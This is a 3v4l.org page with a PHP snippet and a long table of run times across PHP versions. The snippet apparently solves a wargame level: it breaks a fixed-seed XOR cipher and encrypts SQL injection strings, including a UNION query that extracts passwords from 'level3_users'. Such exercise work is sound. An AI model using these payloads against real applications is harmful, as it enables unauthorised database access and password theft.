3v4l.org

run code in 300+ PHP versions simultaneously
<?php // warning! ugly code ahead :) function encrypt($str) { $cryptedstr = ""; srand(3284724); for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ rand(0, 255); while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } function decrypt ($str) { srand(3284724); if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s ^ rand(0, 255); $decStr .= chr($a); } return $decStr; } return false; } return false; } echo(decrypt("MDYzMjIzMDA2MTU2MTQxMjU0")); echo("\r\n"); echo(decrypt("MDQyMjExMDE0MTgyMTQw")); echo("\r\n"); echo("Admin' order by 100;--"); echo("\r\n"); echo(encrypt("Admin' order by 1;--")); echo("\r\n"); echo(encrypt("Admin\" order by 100;--")); echo("\r\n"); echo(encrypt("Admin' or '' = '")); echo("\r\n"); echo(encrypt("Admin'and '' = '")); echo("\r\n"); echo(encrypt("Admin'UNION select password from level3_users --")); echo("\r\n"); echo(encrypt("Admin' or '' = '' order by 5 ;#")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.2.70.0030.00619.50
8.2.60.0040.00419.60
8.2.50.0000.00817.88
8.2.40.0050.00317.88
8.2.30.0030.00617.75
8.2.20.0030.00617.75
8.2.10.0000.00817.88
8.2.00.0080.00419.45
8.1.200.0030.00517.48
8.1.190.0000.00817.47
8.1.180.0000.00817.47
8.1.170.0030.00617.47
8.1.160.0040.00417.59
8.1.150.0050.00317.60
8.1.140.0050.00317.59
8.1.130.0030.00519.54
8.1.120.0020.00719.62
8.1.110.0030.00619.58
8.1.100.0010.00719.60
8.1.90.0050.00319.64
8.1.80.0040.00520.11
8.1.70.0030.00520.10
8.1.60.0050.00320.28
8.1.50.0010.00720.18
8.1.40.0030.00619.78
8.1.30.0020.00619.72
8.1.20.0050.00319.79
8.1.10.0050.00319.64
8.1.00.0050.00319.67
8.0.290.0000.00818.61
8.0.280.0050.00318.62
8.0.270.0080.00017.47
8.0.260.0020.00619.09
8.0.250.0020.00719.55
8.0.240.0060.00319.58
8.0.230.0050.00419.56
8.0.220.0040.00519.55
8.0.210.0040.00519.54
8.0.200.0020.00819.47
8.0.190.0040.00519.55
8.0.180.0030.00619.47
8.0.170.0050.00419.51
8.0.160.0040.00519.51
8.0.150.0030.00619.46
8.0.140.0070.00218.53
8.0.130.0030.00519.09
8.0.120.0040.00419.06
8.0.110.0040.00419.06
8.0.100.0060.00219.10
8.0.90.0050.00419.11
8.0.80.0050.00519.06
8.0.70.0030.00519.11
8.0.60.0040.00419.09
8.0.50.0040.00519.09
8.0.30.0020.00719.07
8.0.20.0060.00319.09
8.0.10.0020.00619.18
8.0.00.0050.00419.21
7.4.330.0050.00617.10
7.4.320.0110.00318.33
7.4.300.0140.00317.76
7.4.290.0140.00217.77
7.4.280.0150.00317.73
7.4.270.0160.00117.73
7.4.260.0110.00617.75
7.4.250.0120.00517.80
7.4.240.0130.00317.73
7.4.230.0140.00317.73
7.4.220.0140.00117.72
7.4.210.0100.00517.71
7.4.200.0100.00517.76
7.4.190.0110.00417.75
7.4.180.0100.00517.83
7.4.160.0130.00217.78
7.4.150.0120.00217.72
7.4.140.0100.00517.76
7.4.130.0100.00517.73
7.4.120.0110.00417.70
7.4.110.0130.00217.72
7.4.100.0120.00317.80
7.4.90.0110.00417.72
7.4.80.0100.00417.77
7.4.70.0130.00217.72
7.4.60.0130.00217.82
7.4.50.0130.00117.69
7.4.40.0110.00417.69
7.4.30.0110.00417.73
7.4.20.0090.00517.71
7.4.10.0100.00417.76
7.4.00.0110.00317.70
7.3.330.0120.00417.63
7.3.320.0110.00517.60
7.3.310.0110.00317.59
7.3.300.0080.00617.56
7.3.290.0110.00417.59
7.3.280.0100.00517.63
7.3.270.0130.00217.57
7.3.260.0110.00317.55
7.3.250.0130.00317.52
7.3.240.0090.00617.55
7.3.230.0100.00517.59
7.3.220.0100.00617.47
7.3.210.0120.00317.54
7.3.200.0120.00317.47
7.3.190.0120.00417.47
7.3.180.0110.00517.60
7.3.170.0140.00217.44
7.3.160.0120.00417.47
7.3.150.0140.00117.48
7.3.140.0100.00517.47
7.3.130.0100.00517.51
7.3.120.0110.00417.48
7.3.110.0120.00317.49
7.3.100.0090.00617.40
7.3.90.0090.00717.81
7.3.80.0120.00317.59
7.3.70.0100.00517.62
7.3.60.0080.00617.71
7.3.50.0100.00517.00
7.3.40.0120.00417.01
7.3.30.0120.00316.90
7.3.20.0110.00518.06
7.3.10.0140.00618.02
7.3.00.0330.00517.90
7.2.340.0110.00417.79
7.2.330.0080.00817.75
7.2.320.0080.00717.71
7.2.310.0090.00617.79
7.2.300.0140.00117.73
7.2.290.0130.00417.74
7.2.280.0110.00317.76
7.2.270.0120.00317.68
7.2.260.0110.00417.71
7.2.250.0090.00517.66
7.2.240.0090.00617.75
7.2.230.0090.00617.66
7.2.220.0100.00517.68
7.2.210.0120.00317.77
7.2.200.0100.00617.87
7.2.190.0110.00417.70
7.2.180.0100.00817.05
7.2.170.0110.00317.14
7.2.160.0090.00517.19
7.2.150.0070.00818.24
7.2.140.0130.00518.32
7.2.130.0140.00418.38
7.2.120.0140.00518.28
7.2.110.0090.00618.24
7.2.100.0100.00818.22
7.2.90.0100.00718.28
7.2.80.0130.00518.30
7.2.70.0100.00518.29
7.2.60.0100.00518.29
7.2.50.0110.00518.37
7.2.40.0120.00718.38
7.2.30.0140.00418.32
7.2.20.0120.00418.46
7.2.10.0190.00518.35
7.2.00.0130.00618.43
7.1.330.0120.00218.21
7.1.320.0090.00518.28
7.1.310.0080.00518.17
7.1.300.0090.00518.23
7.1.290.0120.00218.22
7.1.280.0120.00217.23
7.1.270.0130.00417.15
7.1.260.0110.00517.13
7.1.250.0110.00517.11
7.1.240.0100.00717.20
7.1.230.0150.00417.18
7.1.220.0130.00517.08
7.1.210.0110.00817.13
7.1.200.0110.00717.21
7.1.190.0130.00417.08
7.1.180.0140.00317.09
7.1.170.0130.00417.07
7.1.160.0090.00717.14
7.1.150.0160.00417.20
7.1.140.0120.00617.18
7.1.130.0150.00317.19
7.1.120.0100.00517.21
7.1.110.0150.00417.17
7.1.100.0120.00517.22
7.1.90.0120.00517.15
7.1.80.0110.00617.20
7.1.70.0120.00617.08
7.1.60.0110.00617.25
7.1.50.0120.00317.25
7.1.40.0110.00617.28
7.1.30.0090.00517.17
7.1.20.0110.00617.11
7.1.10.0080.00717.10
7.1.00.0110.00617.18
7.0.330.0100.00416.82
7.0.320.0160.00317.02
7.0.310.0140.00516.92
7.0.300.0090.00716.93
7.0.290.0120.00616.96
7.0.280.0110.00616.95
7.0.270.0140.00416.96
7.0.260.0130.00416.96
7.0.250.0130.00517.04
7.0.240.0110.00517.05
7.0.230.0140.00416.96
7.0.220.0130.00516.91
7.0.210.0100.00517.01
7.0.200.0110.00616.95
7.0.190.0130.00517.02
7.0.180.0110.00516.97
7.0.170.0100.00417.05
7.0.160.0140.00416.83
7.0.150.0120.00416.92
7.0.140.0100.00616.91
7.0.130.0110.00416.94
7.0.120.0120.00516.93
7.0.110.0110.00716.92
7.0.100.0120.00616.83
7.0.90.0130.00316.84
7.0.80.0130.00516.85
7.0.70.0100.00716.85
7.0.60.0080.00616.87
7.0.50.0060.00916.86
7.0.40.0080.00616.86
7.0.30.0100.00616.98
7.0.20.0090.00716.85
7.0.10.0120.00716.93
7.0.00.0100.00416.84
5.6.400.0110.00316.56
5.6.390.0130.00516.57
5.6.380.0080.00616.63
5.6.370.0070.00916.58
5.6.360.0130.00516.45
5.6.350.0100.00816.61
5.6.340.0110.00616.50
5.6.330.0130.00516.58
5.6.320.0090.00716.51
5.6.310.0090.00516.55
5.6.300.0100.00516.54
5.6.290.0090.01717.40
5.6.280.0100.00716.54
5.6.270.0070.00816.48
5.6.260.0120.00416.42
5.6.250.0070.00816.51
5.6.240.0110.00616.48
5.6.230.0100.00816.60
5.6.220.0090.00516.55
5.6.210.0080.00716.62
5.6.200.0080.00616.70
5.6.190.0110.00416.64
5.6.180.0150.00116.69
5.6.170.0120.00416.66
5.6.160.0100.00516.70
5.6.150.0110.00616.64
5.6.140.0100.00616.67
5.6.130.0090.00516.57
5.6.120.0110.00416.66
5.6.110.0090.00716.60
5.6.100.0100.00516.61
5.6.90.0110.00616.52
5.6.80.0060.00816.43
5.6.70.0080.00616.57
5.6.60.0100.00416.45
5.6.50.0100.00616.44
5.6.40.0110.00516.43
5.6.30.0090.00816.67
5.6.20.0090.00716.51
5.6.10.0100.00616.48
5.6.00.0070.00916.51

preferences:
35.1 ms | 400 KiB | 5 Q